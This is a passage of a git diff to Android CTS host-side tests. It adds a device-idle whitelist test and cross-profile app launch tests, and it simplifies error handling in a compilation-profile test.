+SHLandroid/cts/compilation/CompilationTargetActivity;->m19()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m20()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m21()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m22()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m23()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m24()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m25()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m26()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m27()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m28()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m29()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m30()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m31()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m32()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m33()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m34()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m35()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m36()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m37()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m38()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m39()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m40()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m41()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m42()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m43()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m44()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m45()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m46()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m47()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m48()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m49()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m50()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m51()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m52()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m53()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m54()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m55()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m56()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m57()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m58()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m59()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m60()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m61()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m62()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m63()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m64()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m65()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m66()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m67()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m68()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m69()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m70()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m71()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m72()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m73()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m74()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m75()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m76()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m77()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m78()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m79()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m80()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m81()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m82()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m83()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m84()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m85()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m86()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m87()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m88()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m89()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m90()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m91()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m92()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m93()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m94()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m95()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m96()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m97()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m98()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m99()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m100()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m101()I
\ No newline at end of file
diff --git a/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java b/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java
index 1f5d669..591dcb4 100644
--- a/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java
+++ b/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java
@@ -274,19 +274,15 @@
executePush(apkFile.getAbsolutePath(), targetPathApk, targetDir);
assertTrue("Failed to push APK from ", doesFileExist(targetPathApk));
// Run profman to create the real profile on device.
- try {
- String pathSpec = executeSuShellAdbCommand(1, "pm", "path", APPLICATION_PACKAGE)[0];
- pathSpec = pathSpec.replace("package:", "");
- assertTrue("Failed find APK " + pathSpec, doesFileExist(pathSpec));
- executeSuShellAdbCommand(
+ String pathSpec = executeSuShellAdbCommand(1, "pm", "path", APPLICATION_PACKAGE)[0];
+ pathSpec = pathSpec.replace("package:", "");
+ assertTrue("Failed find APK " + pathSpec, doesFileExist(pathSpec));
+ executeSuShellAdbCommand(
"profman",
"--create-profile-from=" + targetPathTemp,
"--apk=" + pathSpec,
"--dex-location=" + pathSpec,
"--reference-profile-file=" + targetPath);
- } catch (Exception e) {
- assertEquals("", e.toString());
- }
executeSuShellAdbCommand(0, "chown", owner, targetPath);
// Verify that the file was written successfully
assertTrue("failed to create profile file", doesFileExist(targetPath));
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
index c2557ef..e732f81 100644
--- a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
@@ -39,7 +39,6 @@
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
import android.support.test.uiautomator.Until;
-import android.util.Log;
import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk b/hostsidetests/deviceidle/Android.mk
similarity index 68%
copy from hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
copy to hostsidetests/deviceidle/Android.mk
index 12a04ed..e73d70f 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
+++ b/hostsidetests/deviceidle/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2016 The Android Open Source Project
+# Copyright (C) 2017 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
@@ -16,16 +16,17 @@
include $(CLEAR_VARS)
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE := CtsDeviceIdleHostTestCases
+
+LOCAL_MODULE_TAGS := optional
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SDK_VERSION := current
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-# Tag this module as a cts test artifact
+LOCAL_CTS_TEST_PACKAGE := android.deviceidle
+
+# tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsDragAndDropSourceApp
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
+include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/xml/interaction_service.xml b/hostsidetests/deviceidle/AndroidTest.xml
similarity index 63%
copy from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/xml/interaction_service.xml
copy to hostsidetests/deviceidle/AndroidTest.xml
index 7cf92a0..1e75e27 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/xml/interaction_service.xml
+++ b/hostsidetests/deviceidle/AndroidTest.xml
@@ -13,8 +13,10 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-
-<voice-interaction-service xmlns:android="http://schemas.android.com/apk/res/android"
- android:sessionService="android.server.cts.AssistantVoiceInteractionSessionService"
- android:recognitionService="android.server.cts.AssistantVoiceInteractionSessionService"
- android:supportsAssist="true" />
+<configuration description="Config for the CTS Content host tests">
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+ <option name="jar" value="CtsDeviceIdleHostTestCases.jar" />
+ <option name="runtime-hint" value="1m" />
+ </test>
+</configuration>
diff --git a/hostsidetests/deviceidle/src/com/android/cts/deviceidle/DeviceIdleWhitelistTest.java b/hostsidetests/deviceidle/src/com/android/cts/deviceidle/DeviceIdleWhitelistTest.java
new file mode 100644
index 0000000..df16a81
--- /dev/null
+++ b/hostsidetests/deviceidle/src/com/android/cts/deviceidle/DeviceIdleWhitelistTest.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceidle;
+
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import org.junit.Assume;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Tests that it is possible to remove apps from the system whitelist
+ */
+public class DeviceIdleWhitelistTest extends DeviceTestCase implements IBuildReceiver {
+
+ private static final String DEVICE_IDLE_COMMAND_PREFIX = "cmd deviceidle sys-whitelist ";
+ private static final String RESET_SYS_WHITELIST_COMMAND = "cmd deviceidle sys-whitelist reset";
+ private static final String SHOW_SYS_WHITELIST_COMMAND = DEVICE_IDLE_COMMAND_PREFIX;
+
+ private List<String> mOriginalSystemWhitelist;
+ protected IBuildInfo mCtsBuild;
+
+ @Override
+ public void setBuild(IBuildInfo buildInfo) {
+ mCtsBuild = buildInfo;
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ getDevice().executeShellCommand(RESET_SYS_WHITELIST_COMMAND);
+ mOriginalSystemWhitelist = getSystemWhitelist();
+ if (mOriginalSystemWhitelist.size() < 1) {
+ LogUtil.CLog.w("No packages found in system whitelist");
+ Assume.assumeTrue(false);
+ }
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ getDevice().executeShellCommand(RESET_SYS_WHITELIST_COMMAND);
+ }
+
+ public void testRemoveFromSysWhitelist() throws Exception {
+ final String packageToRemove = mOriginalSystemWhitelist.get(0);
+ getDevice().executeShellCommand(DEVICE_IDLE_COMMAND_PREFIX + "-" + packageToRemove);
+ final List<String> newWhitelist = getSystemWhitelist();
+ assertFalse("Package " + packageToRemove + " not removed from whitelist",
+ newWhitelist.contains(packageToRemove));
+ }
+
+ public void testRemovesPersistedAcrossReboots() throws Exception {
+ for (int i = 0; i < mOriginalSystemWhitelist.size(); i+=2) {
+ // remove odd indexed packages from the whitelist
+ getDevice().executeShellCommand(
+ DEVICE_IDLE_COMMAND_PREFIX + "-" + mOriginalSystemWhitelist.get(i));
+ }
+ final List<String> whitelistBeforeReboot = getSystemWhitelist();
+ Thread.sleep(10_000); // write to disk happens after 5 seconds
+ getDevice().reboot();
+ Thread.sleep(5_000); // to make sure service is initialized
+ final List<String> whitelistAfterReboot = getSystemWhitelist();
+ assertEquals(whitelistBeforeReboot.size(), whitelistAfterReboot.size());
+ for (int i = 0; i < whitelistBeforeReboot.size(); i++) {
+ assertTrue(whitelistAfterReboot.contains(whitelistBeforeReboot.get(i)));
+ }
+ }
+
+ private List<String> getSystemWhitelist() throws DeviceNotAvailableException {
+ final String output = getDevice().executeShellCommand(SHOW_SYS_WHITELIST_COMMAND).trim();
+ final List<String> packages = new ArrayList<>();
+ for (String line : output.split("\n")) {
+ final int i = line.indexOf(',');
+ packages.add(line.substring(0, i));
+ }
+ return packages;
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/AutofillApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/AutofillApp/AndroidManifest.xml
index cf6b6e8..711f984 100644
--- a/hostsidetests/devicepolicy/app/AutofillApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/AutofillApp/AndroidManifest.xml
@@ -28,7 +28,7 @@
<service
android:name=".SimpleAutofillService"
- android:permission="android.permission.BIND_AUTOFILL" >
+ android:permission="android.permission.BIND_AUTOFILL_SERVICE" >
<intent-filter>
<action android:name="android.service.autofill.AutofillService" />
</intent-filter>
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/ICrossUserService.aidl b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/ICrossUserService.aidl
index bc8d3d3..938ee07 100644
--- a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/ICrossUserService.aidl
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/ICrossUserService.aidl
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2017 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk
similarity index 61%
copy from hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
copy to hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk
index 12a04ed..fca48d3 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2016 The Android Open Source Project
+# Copyright (C) 2017 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
@@ -16,16 +16,27 @@
include $(CLEAR_VARS)
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
+LOCAL_PACKAGE_NAME := CtsCrossProfileAppsTests
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_JAVA_LIBRARIES := legacy-android-test cts-junit
+
+LOCAL_STATIC_JAVA_LIBRARIES = \
+ android-support-v4 \
+ ctstestrunner \
+ android-support-test \
+ legacy-android-test \
+ truth-prebuilt \
+ ub-uiautomator
+
LOCAL_SDK_VERSION := current
-# Tag this module as a cts test artifact
+# tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsDragAndDropSourceApp
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/AndroidManifest.xml
new file mode 100644
index 0000000..79093d6
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/AndroidManifest.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.crossprofileappstest">
+
+ <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="25"/>
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ <activity android:name=".MainActivity" android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
+
+ <activity android:name=".NonMainActivity" android:exported="true"/>
+
+ <activity android:name=".NonExportedActivity" android:exported="false">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.crossprofileappstest"
+ android:label="Launcher Apps CTS Tests"/>
+</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/xml/interaction_service.xml b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/res/layout/main.xml
similarity index 62%
copy from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/xml/interaction_service.xml
copy to hostsidetests/devicepolicy/app/CrossProfileAppsTest/res/layout/main.xml
index 7cf92a0..877d890 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/xml/interaction_service.xml
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/res/layout/main.xml
@@ -13,8 +13,15 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
-<voice-interaction-service xmlns:android="http://schemas.android.com/apk/res/android"
- android:sessionService="android.server.cts.AssistantVoiceInteractionSessionService"
- android:recognitionService="android.server.cts.AssistantVoiceInteractionSessionService"
- android:supportsAssist="true" />
+ <TextView
+ android:id="@+id/user_textview"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsNonTargetUserTest.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsNonTargetUserTest.java
new file mode 100644
index 0000000..3ade25a
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsNonTargetUserTest.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.crossprofileappstest;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertNotNull;
+
+import android.content.Context;
+import android.content.pm.crossprofile.CrossProfileApps;
+import android.os.Bundle;
+import android.os.UserHandle;
+import android.os.UserManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+/**
+ * Test that runs {@link CrossProfileApps} APIs against non-valid target user.
+ */
+@RunWith(AndroidJUnit4.class)
+public class CrossProfileAppsNonTargetUserTest {
+ private static final String PARAM_TARGET_USER = "TARGET_USER";
+
+ private CrossProfileApps mCrossProfileApps;
+ private UserHandle mTargetUser;
+ private Context mContext;
+
+ @Before
+ public void setupCrossProfileApps() throws Exception {
+ mContext = InstrumentationRegistry.getContext();
+ mCrossProfileApps = mContext.getSystemService(CrossProfileApps.class);
+ }
+
+ @Before
+ public void readTargetUser() {
+ Context context = InstrumentationRegistry.getContext();
+ Bundle arguments = InstrumentationRegistry.getArguments();
+ UserManager userManager = context.getSystemService(UserManager.class);
+ final int userSn = Integer.parseInt(arguments.getString(PARAM_TARGET_USER));
+ mTargetUser = userManager.getUserForSerialNumber(userSn);
+ }
+
+ @Test
+ public void testTargetUserIsNotInGetTargetProfiles() {
+ List<UserHandle> targetProfiles = mCrossProfileApps.getTargetUserProfiles();
+ assertThat(targetProfiles).doesNotContain(mTargetUser);
+ }
+
+ @Test(expected = SecurityException.class)
+ public void testCannotStartActivity() {
+ mCrossProfileApps.startMainActivity(
+ MainActivity.getComponentName(mContext), mTargetUser, null, null);
+ }
+}
+
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsTargetUserTest.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsTargetUserTest.java
new file mode 100644
index 0000000..5c4e4c9
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsTargetUserTest.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.crossprofileappstest;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertNotNull;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.Context;
+import android.content.pm.crossprofile.CrossProfileApps;
+import android.os.Bundle;
+import android.os.UserHandle;
+import android.os.UserManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test that runs {@link CrossProfileApps} APIs against valid target user.
+ */
+@RunWith(AndroidJUnit4.class)
+public class CrossProfileAppsTargetUserTest {
+ private static final String PARAM_TARGET_USER = "TARGET_USER";
+ private static final String ID_USER_TEXTVIEW =
+ "com.android.cts.crossprofileappstest:id/user_textview";
+ private static final long TIMEOUT_WAIT_UI = TimeUnit.SECONDS.toMillis(10);
+
+ private CrossProfileApps mCrossProfileApps;
+ private UserHandle mTargetUser;
+ private Context mContext;
+ private UiDevice mDevice;
+ private long mUserSerialNumber;
+
+ @Before
+ public void setupCrossProfileApps() {
+ mContext = InstrumentationRegistry.getContext();
+ mCrossProfileApps = mContext.getSystemService(CrossProfileApps.class);
+ }
+
+ @Before
+ public void wakeupDeviceAndPressHome() throws Exception {
+ mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ mDevice.wakeUp();
+ mDevice.pressMenu();
+ mDevice.pressHome();
+ }
+
+ @Before
+ public void readTargetUser() {
+ Context context = InstrumentationRegistry.getContext();
+ Bundle arguments = InstrumentationRegistry.getArguments();
+ UserManager userManager = context.getSystemService(UserManager.class);
+ mUserSerialNumber = Long.parseLong(arguments.getString(PARAM_TARGET_USER));
+ mTargetUser = userManager.getUserForSerialNumber(mUserSerialNumber);
+ assertNotNull(mTargetUser);
+ }
+
+ @After
+ public void pressHome() {
+ mDevice.pressHome();
+ }
+
+ @Test
+ public void testTargetUserIsIngetTargetUserProfiles() {
+ List<UserHandle> targetProfiles = mCrossProfileApps.getTargetUserProfiles();
+ assertThat(targetProfiles).contains(mTargetUser);
+ }
+
+ /**
+ * Verify we succeed to start the activity in another profile by checking UI element.
+ */
+ @Test
+ public void testCanStartMainActivity() throws Exception {
+ mCrossProfileApps.startMainActivity(
+ MainActivity.getComponentName(mContext), mTargetUser, null, null);
+
+ // Look for the text view to verify that MainActivity is started.
+ UiObject2 textView = mDevice.wait(
+ Until.findObject(By.res(ID_USER_TEXTVIEW)),
+ TIMEOUT_WAIT_UI);
+ assertNotNull("Failed to start activity in target user", textView);
+ // Look for the text in textview, it should be the serial number of target user.
+ assertEquals("Activity is started in wrong user",
+ String.valueOf(mUserSerialNumber),
+ textView.getText());
+ }
+
+ @Test(expected = SecurityException.class)
+ public void testCannotStartNotExportedActivity() throws Exception {
+ mCrossProfileApps.startMainActivity(
+ NonExportedActivity.getComponentName(mContext), mTargetUser, null, null);
+ }
+
+ @Test(expected = SecurityException.class)
+ public void testCannotStartNonMainActivity() throws Exception {
+ mCrossProfileApps.startMainActivity(
+ NonExportedActivity.getComponentName(mContext), mTargetUser, null, null);
+ }
+}
+
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/MainActivity.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/MainActivity.java
new file mode 100644
index 0000000..c137e80
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/MainActivity.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.crossprofileappstest;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.UserManager;
+import android.util.Log;
+import android.widget.TextView;
+
+import java.lang.Override;
+
+/**
+ * An dummy activity that displays the serial number of the user that it is running into.
+ */
+public class MainActivity extends Activity {
+
+ @Override
+ public void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+ setContentView(R.layout.main);
+ }
+
+ @Override
+ public void onStart() {
+ super.onStart();
+ TextView textView = findViewById(R.id.user_textview);
+ textView.setText(Long.toString(getCurrentUserSerialNumber()));
+ }
+
+ public static ComponentName getComponentName(Context context) {
+ return new ComponentName(context, MainActivity.class);
+ }
+
+ private long getCurrentUserSerialNumber() {
+ UserManager userManager = getSystemService(UserManager.class);
+ return userManager.getSerialNumberForUser(Process.myUserHandle());
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonExportedActivity.java
similarity index 67%
copy from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java
copy to hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonExportedActivity.java
index 578d7e5..0876694 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonExportedActivity.java
@@ -13,11 +13,15 @@
* See the License for the specific language governing permissions and
* limitations under the License.
*/
-
-package android.server.cts;
+package com.android.cts.crossprofileappstest;
import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
